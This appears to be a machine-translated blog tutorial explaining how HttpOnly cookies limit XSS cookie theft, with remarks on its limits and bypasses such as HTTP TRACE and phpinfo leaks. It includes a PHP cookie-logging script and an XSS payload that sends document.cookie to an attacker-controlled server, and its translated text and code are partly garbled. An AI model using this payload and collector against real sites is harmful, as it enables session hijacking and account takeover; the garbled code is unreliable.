Using HttpOnly to enhance cookie security

Before introducing HttpOnly, I would like to talk to you about cookies and XSS.

With the popularity of B/s, we usually surf the internet is dependent on the HTTP protocol complete, and HTTP is stateless, that is, the same session of two consecutive requests do not understand each other, they are the latest instance of the environment to resolve, in addition to the application itself may have been stored in the global object of all the information, The environment does not save any information about the session, and HTTP does not maintain the information transmitted by the connection for the next connection. So in order to pass information between sessions, it is necessary to use the cookie and session, no matter what, is to let the server side to obtain a token to check the legitimacy, many times it is stored in a cookie SessionID, the server to identify the user, Then the security risks are extended out, as long as the cookie, you can get someone else's identity, especially the administrator and other advanced rights account, the harm is big, and XSS is in other people's application malicious execution of a JS to steal the user's cookie.

So how to get cookie hijacking? In the Document object in the browser, the cookie information is stored, and JS can be used to remove the cookie, as long as the cookie can be the identity of others. Here's a brief talk about how to steal cookies.

The PHP file that receives the cookie is ck.php:

<?php
$cookie = $_get[' C ');
$ip = getenv (' remote_addr ');
$time =date ("J F, Y, g:i a");
$referer =getenv (' http_referer ');
$fp = fopen (' Cookie.txt ', ' a ');
Fwrite ($fp, ' Cookie: ' $cookie. ' <br> IP: '. $ip. ' <br> Date and Time: '. $time. ' <br> Referer: '. $referer. ' <br><br><br> ');
Fclose ($FP);
?>

Put this file on your own server, for example, we build the server is: http://10.65.21.78:8080.

Then construct the XSS statement:

<script>window.open (' http://10.65.21.78:8080/ck.php?c= ' +document.cookie) </script>

The cookie is sent to the Cookie.txt file under its own server when the script is executed successfully. What a horrible thing it is to attack XSS.

Said so much, seems to have not mentioned HttpOnly, this is what? Mo and! That's it! How can we protect our cookie security? Cookies are obtained through the Document object, and if we can make the cookie invisible in the browser, the HttpOnly is to accept such a parameter when the cookie is set, once it is set, The cookie is not visible in the browser's Document object. The browser is not affected when browsing the Web page, because the cookie will be placed in the browser header (including Ajax), the application will generally not operate in JS, these sensitive cookies, for some sensitive cookies we use HttpOnly, For some cookies that need to be manipulated in the application, we will not set it, thus guaranteeing the security of cookie information and ensuring the application.

The header for the browser setting cookie is as follows:

Set-cookie: =[; =]
[; expires=] [; domain=]
[; Path=] [; secure] [; HttpOnly]

True if the Cookie has the HttpOnly attribute and cannot be accessed through client script; otherwise false. The default value is False.

However, you can also see that httponly is not omnipotent, first of all it does not solve the problem of XSS, still can not resist the attack of some patient hackers, and even some XSS-based proxy has appeared, but can improve the threshold of attack, At least XSS attacks are not something that every scripting kid can do, and other attacks are not as generic as cookie theft because of some environmental and technical limitations.

HttpOnly is also possible to exploit some of the vulnerabilities or configuration bypass, the key issue is as long as the browser sent to the cookie header can be taken. For example, a previous HTTP trace attack can show the cookie in your header, which can be done with Ajax or Flash, and has been patched in Ajax and Flash. Another notable example of what might be bypass on a configuration or application is Phpinfo, who knows that Phpinfo will show the HTTP headers sent by the browser, including the Auth information we have protected, which is often present on various sites, Just use Ajax to fetch the Phpinfo page, take out the corresponding part of header to get the cookie. Some application imperfections can also lead to leaks in header headers, an attack that is as aggressive as a basic authentication-protected page.

HttpOnly above IE 6, the newer version of Firefox has been better supported, and in applications such as Hotmail are widely used, and has achieved a better security effect.

That's the problem, you know, HttpOnly is mainly to restrict the Web page program's browser-side script program to read the cookie, the browser is actually limited by the protocol, the hacker is not so silly, certainly will not use the HTTP protocol to read the cookie, It must be written at the socket level, equivalent to writing an application below the IE6 version.

So, HttpOnly is not omnipotent.

Using HttpOnly to enhance cookie security